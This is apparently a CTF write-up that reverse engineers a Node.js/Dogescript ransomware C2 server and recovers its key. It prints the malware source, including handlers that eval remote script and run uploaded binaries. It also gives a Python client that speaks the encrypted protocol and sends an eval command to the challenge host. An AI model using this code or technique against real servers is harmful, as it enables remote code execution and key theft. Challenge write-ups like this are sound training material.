We now have a copy of CATAPULT SPIDER's malware. Our task is to reverse engineer the
protocol and retrieve the encryption key from the malware server. We're going down the
Doge rabbit hole.
We were approached by a CATAPULT SPIDER victim that was compromised and had all their cat pictures encrypted. Employee morale dropped to an all-time low. We believe that we identified a binary file that is related to the incident and is still running in the customer environment, accepting command and control traffic on
veryprotocol.challenges.adversary.zone:41414
Can you help the customer recover the encryption key?
Downloading the malware file, we see it's a farily large Linux binary:
xps15$ ls -l malware-rwxr-xr-x 1 jra jra 48073657 Jan 20 07:41 malware*xps15$ file malwaremalware: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=101536e3a95f4d38ffb8627533070d093d1ee165, with debug_info, not stripped
Running strings on the binary reveals the file contains much JavaScript code. The
last string returned is <nexe~~sentinel>, which gives us a clue as to how the
binary was built. nexe is a tool that packages
Node.js files into a single executable for easy distrbution.
Digging through the file with an editor such as vi, we can laboriously look through all
of the JavaScript files embedded in the malware. One chunk, however, jumps out as suspicious:
it's not JavaScript, but a language known as dogescript (of course).
Pulling out the Dogescript files, we see that this is the main program of the malware (trimmed
for length):
sotlsastlssofsasfssodogeonasdsonsodogescriptasdogescriptso./muchmysteriousasmysterioussochild_processascpverycript_keyisplzMath.randomwith&dosetoStringwith36&dosesubstrwith215rlyprocess.env.CRYPTZisundefinedplzconsole.logewith'no cryptz key. doge can not crypt catz.'processdoseexitwith1wowverysecrit_key=plzcriptwithprocess.env.CRYPTZcript_keyprocess.env.CRYPTZis'you dnt git key'deleteprocess.env.CRYPTZnextnetworker_fileisfsdosereadFileSyncwith'./networker.djs'&dosetoStringwith'utf-8'verynetworker_dogeisplzdogescriptwithnetworker_fileveryNetworkerisplzevalwithnetworker_doge...(muchcode.suchdoge.wow)constserver=tls.createServer(options,(socket)=>{console.log('doge connected: ',socket.authorized?'TOP doge':'not top doge');letnetworker=newNetworker(socket,(data)=>{verydoge_lingoisdatadosetoStringplzconsole.logwith'top doge sez:'doge_lingoverydoge_woofisplzdogeParamwithdoge_lingonetworkerdosesendwithdoge_woofnetworker.send(dogeParam(data.toString()));});//networker dose init with 'such doge is yes wow' 'such doge is shibe wow'});server.listen(41414,()=>{plzconsole.logewith'doge waiting for command from top doge'});server.on('connection',function(c){plzconsole.logewith'doge connect'});server.on('secureConnect',function(c){plzconsole.logewith'doge connect secure'});
Thankfully, we don't have to learn Dogescript to reverse engineer the malware. An online
translator is available that will turn this into actual JavaScript.
Running the Dogescript files through the translator provides more readable code:
vartls=require('tls');varfs=require('fs');vardson=require('dogeon');vardogescript=require('dogescript');varmysterious=require('./muchmysterious');varcp=require('child_process');varcript_key=Math.random().toString(36).substr(2,15);if(process.env.CRYPTZ===undefined){console.log('no cryptz key. doge can not crypt catz.');process.exit(1);}varsecrit_key=cript(process.env.CRYPTZ,cript_key);process.env.CRYPTZ='you dnt git key';deleteprocess.env.CRYPTZ;networker_file=fs.readFileSync('./networker.djs').toString('utf-8');varnetworker_doge=dogescript(networker_file);varNetworker=eval(networker_doge);functioncript(input,key){varc=Buffer.alloc(input.length);while(key.length<input.length){key+=key;}varib=Buffer.from(input);varkb=Buffer.from(key);for(i=0;i<input.length;i++){c[i]=ib[i]^kb[i]}returnc.toString();}functiondogeParam(buffer){vardoge_command=dson.parse(buffer);vardoge_response={};if(!('dogesez'indoge_command)){doge_response['dogesez']='bonk';doge_response['shibe']='doge not sez';returndson.stringify(doge_response);}if(doge_command.dogesez==='ping'){doge_response['dogesez']='pong';doge_response['ohmaze']=doge_command.ohmaze;}if(doge_command.dogesez==='do me a favor'){varfavor=undefined;vardoge=undefined;try{doge=dogescript(doge_command.ohmaze);favor=eval(doge);doge_response['dogesez']='welcome';doge_response['ohmaze']=favor;}catch{doge_response['dogesez']='bonk';doge_response['shibe']='doge sez no';}}if(doge_command.dogesez==='corn doge'){if((!('batter'indoge_command)||!('sausage'indoge_command))){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='corn doge no batter or sausage';returndson.stringify(doge_response);}if((!('meat'indoge_command['sausage'])||!('flavor'indoge_command['sausage']))){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='sausage no meat or flavor';returndson.stringify(doge_response);}varstupid=Array.isArray(doge_command['sausage']['flavor']);if(!stupid){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='flavor giv not levl';returndson.stringify(doge_response);}varstupidtoo=Buffer.from(doge_command.batter,'base64').toString('base64');if(stupidtoo===doge_command.batter){doge_response['dogesez']='eated';varmeat=doge_command['sausage']['meat'];varflavor=doge_command['sausage']['flavor'];vardoge_carnval=Buffer.from(doge_command.batter,'base64');varrandome=Math.random().toString(36).substr(2,9)varfilename='/tmp/corndoge-'+randome+'.node';fs.writeFileSync(filename,doge_carnval);try{vardoge_module=require(''+filename+'');varretval=doge_module[meat](...flavor);doge_response['taste']=retval;}catch{doge_response['dogesez']='bonk';doge_response['shibe']='bad corn doge';}finally{deleterequire.cache[require.resolve(filename)]};}else{doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='all bout base six fur';}}if(doge_command.dogesez==='hot doge'){if((!('bread'indoge_command)||!('sausage'indoge_command))){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='hot doge no bread or sausage';returndson.stringify(doge_response);}if(!'flavor'indoge_command['sausage']){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='sausage no flavor';returndson.stringify(doge_response);}varstupid=Array.isArray(doge_command['sausage']['flavor']);if(!stupid){doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='flavor giv not levl';returndson.stringify(doge_response);}varstupidtoo=Buffer.from(doge_command.bread,'base64').toString('base64');if(stupidtoo===doge_command.bread){doge_response['dogesez']='eated';varflavor=doge_command['sausage']['flavor'];vardoge_carnval=Buffer.from(doge_command.bread,'base64');;varrandome=Math.random().toString(36).substr(2,9)varfilename='/tmp/hotdoge-'+randome+'.bin';fs.writeFileSync(filename,doge_carnval);fs.chmodSync(filename,'755');try{varretval=cp.execFileSync(filename,flavor);doge_response['taste']=retval.toString('utf-8');}catch(error){if('status'inerror){doge_response['dogesez']='eated';varerrstd=error.stdout.toString('utf-8');varerrerr=error.stderr.toString('utf-8');doge_response['taste']=errstd;doge_response['error']=errerr;if(error.status===27){doge_response['shibe']='wow such module thx top doge';}}else{doge_response['dogesez']='bonk';doge_response['shibe']='bad hot doge';}}finally{deleterequire.cache[require.resolve(filename)]};}else{doge_response['dogesez']='dnt cunsoome';doge_response['shibe']='all bout base six fur';}}returndson.stringify(doge_response);}constoptions={key:servs_key,cert:servs_cert,requestCert:true,rejectUnauthorized:true,ca:[doge_ca]};constserver=tls.createServer(options,(socket)=>{console.log('doge connected: ',socket.authorized?'TOP doge':'not top doge');letnetworker=newNetworker(socket,(data)=>{vardoge_lingo=data.toString();// console.log('top doge sez:', doge_lingo);vardoge_woof=dogeParam(doge_lingo);networker.send(doge_woof);// networker.send(dogeParam(data.toString()));});networker.init('such doge is yes wow','such doge is shibe wow');});server.listen(41414,()=>{console.log('doge waiting for command from top doge');});server.on('connection',function(c){console.log('doge connect');});server.on('secureConnect',function(c){console.log('doge connect secure');});
varcrypto=require('crypto');classNetworker{constructor(socket,handler){this.socket=socket;this._packet={};this._process=false;this._state='HEADER';this._payloadLength=0;this._bufferedBytes=0;this.queue=[];this.handler=handler;};init(hmac_key,aes_key){varsalty_wow='suchdoge4evawow';this.hmac_key=crypto.pbkdf2Sync(hmac_key,salty_wow,4096,16,'sha256');this.aes_key=crypto.pbkdf2Sync(aes_key,salty_wow,4096,16,'sha256');varf1=(data)=>{this._bufferedBytes+=data.length;this.queue.push(data);this._process=true;this._onData();};this.socket.on('data',f1);this.socket.on('error',function(err){console.log('Socket not shibe: ',err);});vardis_handle=this.handler;this.socket.on('served',dis_handle);};_hasEnough(size){if(this._bufferedBytes>=size){returntrue;}this._process=false;returnfalse;};_readBytes(size){letresult;this._bufferedBytes-=size;if(size===this.queue[0].length){returnthis.queue.shift();}if(size<this.queue[0].length){result=this.queue[0].slice(0,size);this.queue[0]=this.queue[0].slice(size);returnresult;}result=Buffer.allocUnsafe(size);letoffset=0;letlength;while(size>0){length=this.queue[0].length;if(size>=length){this.queue[0].copy(result,offset);offset+=length;this.queue.shift();}else{this.queue[0].copy(result,offset,0,size);this.queue[0]=this.queue[0].slice(size);}size-=length;}returnresult;};_getHeader(){letstupid=this._hasEnough(4);if(stupid){this._payloadLength=this._readBytes(4).readUInt32BE(0,true);this._state='PAYLOAD';}};_getPayload(){letstupid=this._hasEnough(this._payloadLength);if(stupid){letreceived=this._readBytes(this._payloadLength);this._parseMessage(received);this._state='HEADER';}};_onData(data){while(this._process){if(this._state==='HEADER'){this._getHeader();}if(this._state==='PAYLOAD'){this._getPayload();}}};_encrypt(data){variv=Buffer.alloc(16,0);varwow_cripter=crypto.createCipheriv('aes-128-cbc',this.aes_key,iv);wow_cripter.setAutoPadding(true);returnBuffer.concat([wow_cripter.update(data),wow_cripter.final()]);};_decrypt(data){variv=Buffer.alloc(16,0);varwow_decripter=crypto.createDecipheriv('aes-128-cbc',this.aes_key,iv);wow_decripter.setAutoPadding(true);returnBuffer.concat([wow_decripter.update(data),wow_decripter.final()]);};send(message){lethmac=crypto.createHmac('sha256',this.hmac_key);letmbuf=this._encrypt(message);hmac.update(mbuf);letchksum=hmac.digest();letbuffer=Buffer.concat([chksum,mbuf]);this._header(buffer.length);this._packet.message=buffer;this._send();};_parseMessage(received){varhmac=crypto.createHmac('sha256',this.hmac_key);varchecksum=received.slice(0,32).toString('hex');varmessage=received.slice(32);hmac.update(message);letstupid=hmac.digest('hex');if(checksum===stupid){vardec_message=this._decrypt(message);this.socket.emit('served',dec_message);}};_header(messageLength){this._packet.header={length:messageLength};};_send(){varcontentLength=Buffer.allocUnsafe(4);contentLength.writeUInt32BE(this._packet.header.length);this.socket.write(contentLength);this.socket.write(this._packet.message);this._packet={};};}module.exports=Networker
Also inside the malware is an embedded client certificate and RSA private key, which are
needed to authenticate against the malware server.
Digging into the start of the main program, we see the method used to generate the
key:
8
9
10
11
12
13
14
15
16
17
18
varcript_key=Math.random().toString(36).substr(2,15);if(process.env.CRYPTZ===undefined){console.log('no cryptz key. doge can not crypt catz.');process.exit(1);}varsecrit_key=cript(process.env.CRYPTZ,cript_key);process.env.CRYPTZ='you dnt git key';deleteprocess.env.CRYPTZ;
A random cript_key is generated, then passed to the cript() function along with the
contents of the environment variable CRYPTZ, the result of which is stored in secrit_key.
The CRYPTZ environment variable is then set to a value (you dnt get key), then deleted
from memory, presumably in an attempt to prevent it's content from being discovered by
memory forensics. However, the same process is not performed on on the cript_key variable,
which will be important later.
The cript() function is a simple XOR of the two arguments:
functiondogeParam(buffer){vardoge_command=dson.parse(buffer);vardoge_response={};if(!('dogesez'indoge_command)){doge_response['dogesez']='bonk';doge_response['shibe']='doge not sez';returndson.stringify(doge_response);}if(doge_command.dogesez==='ping'){doge_response['dogesez']='pong';doge_response['ohmaze']=doge_command.ohmaze;}if(doge_command.dogesez==='do me a favor'){varfavor=undefined;vardoge=undefined;try{doge=dogescript(doge_command.ohmaze);favor=eval(doge);doge_response['dogesez']='welcome';doge_response['ohmaze']=favor;}catch{doge_response['dogesez']='bonk';doge_response['shibe']='doge sez no';}}...
The function is passed a buffer containing a command string, which is encoded as
DSON, or Doge Serialized Object Notation (sigh). The malware
is using the dogeon serializer to parse the
requests from the client. Commands from the client are passed as the value of the
dogesez attribute. There are many different commands, but the important one is 'do
me a favor', which runs a Dogescript and returns the result to the caller. We can
also perform a 'ping' to the server to check that our messages are being received
correctly. The remaining commands deal with encrypting files sent to the server,
but for the purposes of this CTF aren't necessary.
At the end of the main program is the code that handles connections from the client:
constoptions={key:servs_key,cert:servs_cert,requestCert:true,rejectUnauthorized:true,ca:[doge_ca]};constserver=tls.createServer(options,(socket)=>{console.log('doge connected: ',socket.authorized?'TOP doge':'not top doge');letnetworker=newNetworker(socket,(data)=>{vardoge_lingo=data.toString();// console.log('top doge sez:', doge_lingo);vardoge_woof=dogeParam(doge_lingo);networker.send(doge_woof);// networker.send(dogeParam(data.toString()));});networker.init('such doge is yes wow','such doge is shibe wow');});server.listen(41414,()=>{console.log('doge waiting for command from top doge');});server.on('connection',function(c){console.log('doge connect');});server.on('secureConnect',function(c){console.log('doge connect secure');});
The tls.createServer function creates a server to receive requests. The options specify
that the server will request a certificate from the client, and will reject any connections
from clients that don't. Finally, the data is passed through a networker object, defined
in the Network protocol above.
We see the init method of the networker object is called with two strings: such
doge is yes wow and such doge is dhibe wow. These phrases are combined with the salt
suchdoge4evawow to create two keys: 1 for an HMAC algorithm, and one for AES encryption.
The message is encrypted with the AES keys created in init() method, then an HMAC
of the encrypted content is generated and is prepended to the message. The message is
actually sent in the _send() method, which first writes an unsigned 32-bit number
containing the length of the message to the socket, then the message itself.
Incoming messages are handled in reverse, in the _parseMessage() function. The checksum
passed with the message is stripped from the beginning, a new checksum is generated to compare
against the received one, and if the checksums match, the message is decrypted and returned
to the server.
#!/usr/bin/env python3# CATAPULT SPIDER malware protocol## Joe Ammond (pugpug) @joeammondimportsysfrompwnimport*fromCrypto.Protocol.KDFimportPBKDF2fromCrypto.HashimportSHA512,SHA256,HMACfromCrypto.Randomimportget_random_bytesfromCrypto.CipherimportAES# Create the HMAC and AES keyssalty_wow='suchdoge4evawow'hmac_wow='such doge is yes wow'aes_wow='such doge is shibe wow'hmac_key=PBKDF2(hmac_wow,salty_wow,16,count=4096,hmac_hash_module=SHA256)aes_key=PBKDF2(aes_wow,salty_wow,16,count=4096,hmac_hash_module=SHA256)# Who we communicate withhost='veryprotocol.challenges.adversary.zone'# Client certificate and private key, from the malware executablessl_opts={'keyfile':'doge_key','certfile':'doge_cert',}# Encrypt the message, and prepend the HMACdefencrypt(data):iv=b'\0'*16cipher=AES.new(aes_key,AES.MODE_CBC,iv=iv)length=16-(len(data)%16)data+=bytes([length])*lengthenc=cipher.encrypt(data)hmac=HMAC.new(hmac_key,digestmod=SHA256)hmac.update(enc)digest=hmac.digest()return(digest+enc)# Decrypt the message, and verify that the HMAC matchesdefdecrypt(data):checksum=data[:32].hex()message=data[32:]hmac=HMAC.new(hmac_key,digestmod=SHA256)hmac.update(message)verify=hmac.hexdigest()ifchecksum==verify:iv=b'\0'*16cipher=AES.new(aes_key,AES.MODE_CBC,iv=iv)plaintext=cipher.decrypt(message)return(plaintext)else:return'bonk'# Main loop: read a DSON string, encrypt it, send it to the server,# receive the response, print it.whileTrue:# Read a stringcommand=bytes(input('Shibe sez? ').strip(),'utf-8')# Shibe sez quitifcommand=='quit':sys.exit(0)# Connect to the serverr=remote(host,41414,ssl=True,ssl_args=ssl_opts)# Encrypt itciphertext=encrypt(command)# Send the message length as u32, then the messagelength=p32(len(ciphertext),endianness="big",sign="unsigned")r.send(length)r.send(ciphertext)# Read the response length, and the messagelength=r.recv(4)response=r.recvall(timeout=5)r.close()# Decrypt the message and print itplaintext=decrypt(response)print(plaintext)print()
The code is fairly straightforward. To retrieve the key from the server, we can use the
cript() function with the cript_key value generated by the server. Running XOR on the
secrit_key with the cript_key reverses the "encryption", revealing the original
value of the CRYPTZ environment variable:
(pwn) xps15$ python3 hammer.py
Shibe sez? such "dogesez" is "do me a favor" next "ohmaze" is "cript(secrit_key, cript_key)" wow
[+] Opening connection to veryprotocol.challenges.adversary.zone on port 41414: Done
[+] Receiving all data: Done (128B)
[*] Closed connection to veryprotocol.challenges.adversary.zone port 41414
b'such "dogesez" is "welcome" next "ohmaze" is "CS{such_Pr0t0_is_n3tw0RkS_w0W}" wow\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
And there's the flag: CS{such_Pr0t0_is_n3tw0RkS_w0W}.